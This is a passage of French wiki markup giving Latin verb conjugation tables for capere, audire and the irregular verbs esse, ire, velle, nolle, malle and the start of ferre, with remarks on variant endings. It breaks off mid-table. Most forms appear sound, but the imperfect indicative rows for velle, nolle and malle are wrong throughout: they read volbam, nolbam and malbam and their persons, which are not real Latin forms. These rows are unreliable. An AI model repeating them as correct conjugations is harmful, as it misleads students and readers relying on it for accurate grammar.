<tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>cap<b>is</b><td>cap<b>iebas</b><td>cap<b>ies</b> <td>cep<b>isti</b><td>cep<b>eras</b><td>cep<b>eris</b> <td>cap<b>ias</b><td>cap<b>eres</b> <td>cep<b>eris</b><td>cep<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>cap<b>it</b><td>cap<b>iebat</b><td>cap<b>iet</b> <td>cep<b>it</b><td>cep<b>erat</b><td>cep<b>erit</b> <td>cap<b>iat</b><td>cap<b>eret</b> <td>cep<b>erit</b><td>cep<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>cap<b>imus</b><td>cap<b>iebamus</b><td>cap<b>iemus</b> <td>cep<b>imus</b><td>cep<b>eramus</b><td>cep<b>erimus</b> <td>cap<b>iamus</b><td>cap<b>eremus</b> <td>cep<b>erimus</b><td>cep<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>cap<b>itis</b><td>cap<b>iebatis</b><td>cap<b>ietis</b> <td>cep<b>istis</b><td>cep<b>eratis</b><td>cep<b>eritis</b> <td>cap<b>iatis</b><td>cap<b>eretis</b> <td>cep<b>eritis</b><td>cep<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>cap<b>iunt</b><td>cap<b>iebant</b><td>cap<b>ient</b> <td>cep<b>erunt</b><td>cep<b>erant</b><td>cep<b>erint</b> <td>cap<b>iant</b><td>cap<b>erent</b> <td>cep<b>erint</b><td>cep<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=3>Infinitif<th colspan=2>Participe<th rowspan=2><th rowspan=2>Gérondif<th rowspan=2>Supin <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Futur<th>Présent<th>Futur <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>cap<b>e</b><td>cap<b>ito</b><td rowspan=4>cap<b>ere</b><td rowspan=4>cep<b>isse</b><td rowspan=4>capt<b>urus esse</b><td rowspan=4>cap<b>iens</b><td rowspan=4>capt<b>urus</b><th>Accusatif<td>cap<b>iendum</b><td>capt<b>um</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>cap<b>ito</b><th>Génitif<td>cap<b>iendi</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>cap<b>ite</b><td>cap<b>itote</b><th>Datif<td>cap<b>iendo</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>cap<b>iunto</b><th>Ablatif<td>cap<b>iendo</b><td>capt<b>u</b> <tr><th><th colspan=10>VOIX PASSIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th><th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-Parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>cap<b>ior</b><td>cap<b>iebar</b><td>cap<b>iar</b> <td>capt<b>us sum</b><td>capt<b>us eram</b><td>capt<b>us ero</b> <td>cap<b>iar</b><td>cap<b>erer</b> <td>capt<b>us sim</b><td>capt<b>us essem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>cap<b>eris</b><td>cap<b>iebaris</b><td>cap<b>ieris</b> <td>capt<b>us es</b><td>capt<b>us eras</b><td>capt<b>us eris</b> <td>cap<b>iaris</b><td>cap<b>ereris</b> <td>capt<b>us sis</b><td>capt<b>us esses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>cap<b>itur</b><td>cap<b>iebatur</b><td>cap<b>ietur</b> <td>capt<b>us est</b><td>capt<b>us erat</b><td>capt<b>us erit</b> <td>cap<b>iatur</b><td>cap<b>eretur</b> <td>capt<b>us sit</b><td>capt<b>us esset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>cap<b>imur</b><td>cap<b>iebamur</b><td>cap<b>iemur</b> <td>capt<b>i sumus</b><td>capt<b>i eramus</b><td>capt<b>i erimus</b> <td>cap<b>iamur</b><td>cap<b>eremur</b> <td>capt<b>i simus</b><td>capt<b>i essemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>cap<b>imini</b><td>cap<b>iebamini</b><td>cap<b>iemini</b> <td>capt<b>i estis</b><td>capt<b>i eratis</b><td>capt<b>i eritis</b> <td>cap<b>iamini</b><td>cap<b>eremini</b> <td>capt<b>i sitis</b><td>capt<b>i essetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>cap<b>iuntur</b><td>cap<b>iebantur</b><td>cap<b>ientur</b> <td>capt<b>i sunt</b><td>capt<b>i erant</b><td>capt<b>i erunt</b> <td>cap<b>iantur</b><td>cap<b>erentur</b> <td>capt<b>i sint</b><td>capt<b>i essent</b> <tr><th><th>Impératif<th colspan=3>Infinitif<th>Participe<th rowspan=2>Adjectif verbal <tr><th><th>Présent<th>Présent<th>Parfait<th>Futur<th>Parfait <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>cap<b>ere</b><td rowspan=2>cap<b>i</b><td rowspan=2>capt<b>us esse</b><td rowspan=2>capt<b>um iri</b><td rowspan=2>capt<b>us</b><td rowspan=2>cap<b>iendus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>cap<b>imini</b> </table> Remarques: * À la voix passive, la 2<sup>e</sup> personne du singulier peut prendre une désinence en ''-re'' au lieu de ''-ris'' : ''capere, capiebare, capiere, capiare, caperere'' * À la voix active, la 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''cepere'' <table border> <caption><font size="+1">4<sup>e</sup> groupe</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>aud<b>io</b><td>aud<b>iebam</b><td>aud<b>iam</b> <td>audiv<b>i</b><td>audiv<b>eram</b><td>audiv<b>ero</b> <td>aud<b>iam</b><td>aud<b>irem</b> <td>audiv<b>erim</b><td>audiv<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>aud<b>is</b><td>aud<b>iebas</b><td>aud<b>ies</b> <td>audiv<b>isti</b><td>audiv<b>eras</b><td>audiv<b>eris</b> <td>aud<b>ias</b><td>aud<b>ires</b> <td>audiv<b>eris</b><td>audiv<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>aud<b>it</b><td>aud<b>iebat</b><td>aud<b>iet</b> <td>audiv<b>it</b><td>audiv<b>erat</b><td>audiv<b>erit</b> <td>aud<b>iat</b><td>aud<b>iret</b> <td>audiv<b>erit</b><td>audiv<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>aud<b>imus</b><td>aud<b>iebamus</b><td>aud<b>iemus</b> <td>audiv<b>imus</b><td>audiv<b>eramus</b><td>audiv<b>erimus</b> <td>aud<b>iamus</b><td>aud<b>iremus</b> <td>audiv<b>erimus</b><td>audiv<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>aud<b>itis</b><td>aud<b>iebatis</b><td>aud<b>ietis</b> <td>audiv<b>istis</b><td>audiv<b>eratis</b><td>audiv<b>eritis</b> <td>aud<b>iatis</b><td>aud<b>iretis</b> <td>audiv<b>eritis</b><td>audiv<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>aud<b>iunt</b><td>aud<b>iebant</b><td>aud<b>ient</b> <td>audiv<b>erunt</b><td>audiv<b>erant</b><td>audiv<b>erint</b> <td>aud<b>iant</b><td>aud<b>irent</b> <td>audiv<b>erint</b><td>audiv<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=3>Infinitif<th colspan=2>Participe<th rowspan=2><th rowspan=2>Gérondif<th rowspan=2>Supin <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Futur<th>Présent<th>Futur <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>aud<b>i</b><td>aud<b>ito</b><td rowspan=4>aud<b>ire</b><td rowspan=4>audiv<b>isse</b><td rowspan=4>audit<b>urus esse</b><td rowspan=4>aud<b>iens</b><td rowspan=4>audit<b>urus</b><th>Accusatif<td>aud<b>iendum</b><td>audit<b>um</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>aud<b>ito</b><th>Génitif<td>aud<b>iendi</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>aud<b>ite</b><td>aud<b>itote</b><th>Datif<td>aud<b>iendo</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>aud<b>iunto</b><th>Ablatif<td>aud<b>iendo</b><td>audit<b>u</b> <tr><th><th colspan=10>VOIX PASSIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th><th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-Parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>aud<b>ior</b><td>aud<b>iebar</b><td>aud<b>iar</b> <td>audit<b>us sum</b><td>audit<b>us eram</b><td>audit<b>us ero</b> <td>aud<b>iar</b><td>aud<b>irer</b> <td>audit<b>us sim</b><td>audit<b>us essem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>aud<b>iris</b><td>aud<b>iebaris</b><td>aud<b>ieris</b> <td>audit<b>us es</b><td>audit<b>us eras</b><td>audit<b>us eris</b> <td>aud<b>iaris</b><td>aud<b>ireris</b> <td>audit<b>us sis</b><td>audit<b>us esses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>aud<b>itur</b><td>aud<b>iebatur</b><td>aud<b>ietur</b> <td>audit<b>us est</b><td>audit<b>us erat</b><td>audit<b>us erit</b> <td>aud<b>iatur</b><td>aud<b>iretur</b> <td>audit<b>us sit</b><td>audit<b>us esset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>aud<b>imur</b><td>aud<b>iebamur</b><td>aud<b>iemur</b> <td>audit<b>i sumus</b><td>audit<b>i eramus</b><td>audit<b>i erimus</b> <td>aud<b>iamur</b><td>aud<b>iremur</b> <td>audit<b>i simus</b><td>audit<b>i essemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>aud<b>imini</b><td>aud<b>iebamini</b><td>aud<b>iemini</b> <td>audit<b>i estis</b><td>audit<b>i eratis</b><td>audit<b>i eritis</b> <td>aud<b>iamini</b><td>aud<b>iremini</b> <td>audit<b>i sitis</b><td>audit<b>i essetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>aud<b>iuntur</b><td>aud<b>iebantur</b><td>aud<b>ientur</b> <td>audit<b>i sunt</b><td>audit<b>i erant</b><td>audit<b>i erunt</b> <td>aud<b>iantur</b><td>aud<b>irentur</b> <td>audit<b>i sint</b><td>audit<b>i essent</b> <tr><th><th>Impératif<th colspan=3>Infinitif<th>Participe<th rowspan=2>Adjectif verbal <tr><th><th>Présent<th>Présent<th>Parfait<th>Futur<th>Parfait <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>aud<b>ire</b><td rowspan=2>aud<b>iri</b><td rowspan=2>audit<b>us esse</b><td rowspan=2>audit<b>um iri</b><td rowspan=2>audit<b>us</b><td rowspan=2>aud<b>iendus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>aud<b>imini</b> </table> Remarques: * À la voix passive, la 2<sup>e</sup> personne du singulier peut prendre une désinence en ''-re'' au lieu de ''-ris'' : ''audire, audiebare, audiere, audiare, audirere'' * À la voix active, la 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''audivere'' <table border> <caption><font size="+1">Verbe irrégulier : ''esse''</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>su<b>m</b><td>er<b>am</b><td>er<b>o</b> <td>fu<b>i</b><td>fu<b>eram</b><td>fu<b>ero</b> <td>s<b>im</b><td>esse<b>m</b> ''ou'' fore<b>m</b> <td>fu<b>erim</b><td>fu<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>es<b></b><td>er<b>as</b><td>er<b>is</b> <td>fu<b>isti</b><td>fu<b>eras</b><td>fu<b>eris</b> <td>s<b>is</b><td>esse<b>s</b> ''ou'' fore<b>s</b> <td>fu<b>eris</b><td>fu<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>es<b>t</b><td>er<b>at</b><td>er<b>it</b> <td>fu<b>it</b><td>fu<b>erat</b><td>fu<b>erit</b> <td>s<b>it</b><td>esse<b>t</b> ''ou'' fore<b>t</b> <td>fu<b>erit</b><td>fu<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>su<b>mus</b><td>er<b>amus</b><td>er<b>imus</b> <td>fu<b>imus</b><td>fu<b>eramus</b><td>fu<b>erimus</b> <td>s<b>imus</b><td>esse<b>mus</b> ''ou'' fore<b>mus</b> <td>fu<b>erimus</b><td>fu<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>es<b>tis</b><td>er<b>atis</b><td>er<b>itis</b> <td>fu<b>istis</b><td>fu<b>eratis</b><td>fu<b>eritis</b> <td>s<b>itis</b><td>esse<b>tis</b> ''ou'' fore<b>tis</b> <td>fu<b>eritis</b><td>fu<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>su<b>nt</b><td>er<b>ant</b><td>er<b>unt</b> <td>fu<b>erunt</b><td>fu<b>erant</b><td>fu<b>erint</b> <td>s<b>int</b><td>esse<b>nt</b> ''ou'' fore<b>nt</b> <td>fu<b>erint</b><td>fu<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=3>Infinitif<th colspan=2>Participe<th rowspan=2> <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Futur<th>Présent<th>Futur <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>es<b></b><td>es<b>to</b><td rowspan=4>esse<b></b><td rowspan=4>fu<b>isse</b><td rowspan=4>fut<b>urus esse</b> ''ou'' fore<td rowspan=4><b>ens</b><td rowspan=4>fut<b>urus</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>es<b>to</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>es<b>te</b><td>es<b>tote</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>su<b>nto</b> </table> Remarques: * La 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''fuere'' * ''esse'' n'a pas de gérondif ni de supin (mais possède un radical correspondant à ce dernier : ''fut-'', utilisé pour le participe futur) * les verbes composés sur ''esse'' avec un préfixe se conjuguent à l'identique, sauf les particularités suivantes: ** ''possum, potes, posse, potui, - (pouvoir)'' : le préfixe est ''pot-'' devant un ''e'', ''pos-'' devant un ''s''. L'infinitif présent est ''posse'' et ce verbe n'a ni participe futur, ni infinitif futur, ni impératif ** ''prosum, prodes, prodesse, profui, - (être utile)'' : le préfixe ''pro-'' devient ''prod-'' devant un ''e'' <table border> <caption><font size="+1">Verbe irrégulier : ''ire''</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>e<b>o</b><td>i<b>bam</b><td>i<b>bo</b> <td>iv<b>i</b><td>iv<b>eram</b><td>iv<b>ero</b> <td>e<b>am</b><td>i<b>rem</b> <td>iv<b>erim</b><td>iv<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>i<b>s</b><td>i<b>bas</b><td>i<b>bis</b> <td>iv<b>isti</b><td>iv<b>eras</b><td>iv<b>eris</b> <td>e<b>as</b><td>i<b>res</b> <td>iv<b>eris</b><td>iv<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>i<b>t</b><td>i<b>bat</b><td>i<b>bit</b> <td>iv<b>it</b><td>iv<b>erat</b><td>iv<b>erit</b> <td>e<b>at</b><td>i<b>ret</b> <td>iv<b>erit</b><td>iv<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>i<b>mus</b><td>i<b>bamus</b><td>i<b>bimus</b> <td>iv<b>imus</b><td>iv<b>eramus</b><td>iv<b>erimus</b> <td>e<b>amus</b><td>i<b>remus</b> <td>iv<b>erimus</b><td>iv<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>i<b>tis</b><td>i<b>batis</b><td>i<b>bitis</b> <td>iv<b>istis</b><td>iv<b>eratis</b><td>iv<b>eritis</b> <td>e<b>atis</b><td>i<b>retis</b> <td>iv<b>eritis</b><td>iv<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>e<b>unt</b><td>i<b>bant</b><td>i<b>bunt</b> <td>iv<b>erunt</b><td>iv<b>erant</b><td>iv<b>erint</b> <td>e<b>ant</b><td>i<b>rent</b> <td>iv<b>erint</b><td>iv<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=3>Infinitif<th colspan=2>Participe<th rowspan=2><th rowspan=2>Gérondif<th rowspan=2>Supin <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Futur<th>Présent<th>Futur <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>i<b></b><td>i<b>to</b><td rowspan=4>i<b>re</b><td rowspan=4>iv<b>isse</b><td rowspan=4>it<b>urus esse</b><td rowspan=4>i<b>ens</b><td rowspan=4>it<b>urus</b><th>Accusatif<td>e<b>undum</b><td>it<b>um</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>i<b>to</b><th>Génitif<td>e<b>undi</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>i<b>te</b><td>i<b>tote</b><th>Datif<td>e<b>undo</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>e<b>unto</b><th>Ablatif<td>e<b>undo</b><td>it<b>u</b> </table> Remarques: * Le radical du parfait ''iv-'' est souvent abrégé en ''i-'' * La 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''ivere'' (ou ''iere'') * Le participe présent ''<b>i</b>ens'' a pour génitif ''<b>e</b>untis'' et se décline donc selon la [[Déclinaison latines|2<sup>ème</sup> classe d'adjectifs]] sur le radical ''eunt-'' * ''ire'', n'étant pas transitif, n'a pas de conjugaison à la [[diathèse|voix passive]], pourtant il a : ** un infinitif présent passif : '''iri''', utilisé comme [[auxiliaire]] pour former l'infinitif futur passif de tous les autres verbes ** un adjectif verbal, qui s'utilise dans des tournures impersonnelles (donc seulement au genre neutre). Exemple : ''e<b>undum</b> est (il faut aller)'' * les verbes composés sur ''ire'' avec un préfixe se conjuguent à l'identique <table border> <caption><font size="+1">Verbe irrégulier : ''velle''</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>vol<b>o</b><td>vol<b>bam</b><td>vol<b>am</b> <td>volu<b>i</b><td>volu<b>eram</b><td>volu<b>ero</b> <td>vel<b>im</b><td>velle<b>m</b> <td>volu<b>erim</b><td>volu<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>vi<b>s</b><td>vol<b>bas</b><td>vol<b>es</b> <td>volu<b>isti</b><td>volu<b>eras</b><td>volu<b>eris</b> <td>vel<b>is</b><td>velle<b>s</b> <td>volu<b>eris</b><td>volu<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>vul<b>t</b><td>vol<b>bat</b><td>vol<b>et</b> <td>volu<b>it</b><td>volu<b>erat</b><td>volu<b>erit</b> <td>vel<b>it</b><td>velle<b>t</b> <td>volu<b>erit</b><td>volu<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>volu<b>mus</b><td>vol<b>bamus</b><td>vol<b>emus</b> <td>volu<b>imus</b><td>volu<b>eramus</b><td>volu<b>erimus</b> <td>vel<b>imus</b><td>velle<b>mus</b> <td>volu<b>erimus</b><td>volu<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>vul<b>tis</b><td>vol<b>batis</b><td>vol<b>etis</b> <td>volu<b>istis</b><td>volu<b>eratis</b><td>volu<b>eritis</b> <td>vel<b>itis</b><td>velle<b>tis</b> <td>volu<b>eritis</b><td>volu<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>vol<b>unt</b><td>vol<b>bant</b><td>vol<b>ent</b> <td>volu<b>erunt</b><td>volu<b>erant</b><td>volu<b>erint</b> <td>vel<b>int</b><td>velle<b>nt</b> <td>volu<b>erint</b><td>volu<b>issent</b> <tr><th><th colspan=2>Infinitif<th>Participe <tr><th><th>Présent<th>Parfait<th>Présent <tr><th><td>velle<b></b><td>volu<b>isse</b><td>vol<b>ens</b> </table> Remarques: * La 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''voluere'' * ''velle'' a une conjugaison incomplète : pas de gérondif, pas de supin, pas d'infinitif futur, pas de participe futur, pas d'impératif <table border> <caption><font size="+1">Verbe irrégulier : ''nolle''</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>nol<b>o</b><td>nol<b>bam</b><td>nol<b>am</b> <td>nolu<b>i</b><td>nolu<b>eram</b><td>nolu<b>ero</b> <td>nol<b>im</b><td>nolle<b>m</b> <td>nolu<b>erim</b><td>nolu<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>non vi<b>s</b><td>nol<b>bas</b><td>nol<b>es</b> <td>nolu<b>isti</b><td>nolu<b>eras</b><td>nolu<b>eris</b> <td>nol<b>is</b><td>nolle<b>s</b> <td>nolu<b>eris</b><td>nolu<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>non vul<b>t</b><td>nol<b>bat</b><td>nol<b>et</b> <td>nolu<b>it</b><td>nolu<b>erat</b><td>nolu<b>erit</b> <td>nol<b>it</b><td>nolle<b>t</b> <td>nolu<b>erit</b><td>nolu<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>nolu<b>mus</b><td>nol<b>bamus</b><td>nol<b>emus</b> <td>nolu<b>imus</b><td>nolu<b>eramus</b><td>nolu<b>erimus</b> <td>nol<b>imus</b><td>nolle<b>mus</b> <td>nolu<b>erimus</b><td>nolu<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>non vul<b>tis</b><td>nol<b>batis</b><td>nol<b>etis</b> <td>nolu<b>istis</b><td>nolu<b>eratis</b><td>nolu<b>eritis</b> <td>nol<b>itis</b><td>nolle<b>tis</b> <td>nolu<b>eritis</b><td>nolu<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>nol<b>unt</b><td>nol<b>bant</b><td>nol<b>ent</b> <td>nolu<b>erunt</b><td>nolu<b>erant</b><td>nolu<b>erint</b> <td>nol<b>int</b><td>nolle<b>nt</b> <td>nolu<b>erint</b><td>nolu<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=2>Infinitif<th>Participe <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Présent <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>nol<b>i</b><td>nol<b>ito</b><td rowspan=4>nolle<b></b><td rowspan=4>nolu<b>isse</b><td rowspan=4>nol<b>ens</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>nol<b>ito</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>nol<b>ite</b><td>nol<b>itote</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>nol<b>unto</b> </table> Remarques: * La 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''noluere'' * ''nolle'' a une conjugaison incomplète : pas de gérondif, pas de supin, pas d'infinitif futur, pas de participe futur * l'impératif de ''nolle'' sert comme [[auxiliaire]] pour former l'impératif des autres verbes dans une phrase négative. Il s'accompagne alors d'un verbe à l'infinitif présent. Exemple : ''noli me tangere! (ne me touche pas!)'' <table border> <caption><font size="+1">Verbe irrégulier : ''malle''</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>mal<b>o</b><td>mal<b>bam</b><td>mal<b>am</b> <td>malu<b>i</b><td>malu<b>eram</b><td>malu<b>ero</b> <td>mal<b>im</b><td>malle<b>m</b> <td>malu<b>erim</b><td>malu<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>mavi<b>s</b><td>mal<b>bas</b><td>mal<b>es</b> <td>malu<b>isti</b><td>malu<b>eras</b><td>malu<b>eris</b> <td>mal<b>is</b><td>malle<b>s</b> <td>malu<b>eris</b><td>malu<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>mavul<b>t</b><td>mal<b>bat</b><td>mal<b>et</b> <td>malu<b>it</b><td>malu<b>erat</b><td>malu<b>erit</b> <td>mal<b>it</b><td>malle<b>t</b> <td>malu<b>erit</b><td>malu<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>malu<b>mus</b><td>mal<b>bamus</b><td>mal<b>emus</b> <td>malu<b>imus</b><td>malu<b>eramus</b><td>malu<b>erimus</b> <td>mal<b>imus</b><td>malle<b>mus</b> <td>malu<b>erimus</b><td>malu<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>mavul<b>tis</b><td>mal<b>batis</b><td>mal<b>etis</b> <td>malu<b>istis</b><td>malu<b>eratis</b><td>malu<b>eritis</b> <td>mal<b>itis</b><td>malle<b>tis</b> <td>malu<b>eritis</b><td>malu<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>mal<b>unt</b><td>mal<b>bant</b><td>mal<b>ent</b> <td>malu<b>erunt</b><td>malu<b>erant</b><td>malu<b>erint</b> <td>mal<b>int</b><td>malle<b>nt</b> <td>malu<b>erint</b><td>malu<b>issent</b> <tr><th><th colspan=2>Infinitif<th>Participe <tr><th><th>Présent<th>Parfait<th>Présent <tr><th><td>malle<b></b><td>malu<b>isse</b><td>mal<b>ens</b> </table> Remarques: * La 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''maluere'' * ''malle'' a une conjugaison incomplète : pas de gérondif, pas de supin, pas d'infinitif futur, pas de participe futur, pas d'impératif <table border> <caption><font size="+1">Verbe irrégulier : ''ferre''</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>fer<b>o</b><td>fer<b>ebam</b><td>fer<b>am</b> <td>tul<b>i</b><td>tul<b>eram</b><td>tul<b>ero</b> <td>fer<b>am</b><td>fer<b>rem</b> <td>tul<b>erim</b><td>tul<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>fer<b>s</b><td>fer<b>ebas</b><td>fer<b>es</b> <td>tul<b>isti</b><td>tul<b>eras</b><td>tul<b>eris</b> <td>fer<b>as</b><td>fer<b>res</b> <td>tul<b>eris</b><td>tul<b>isses</b> 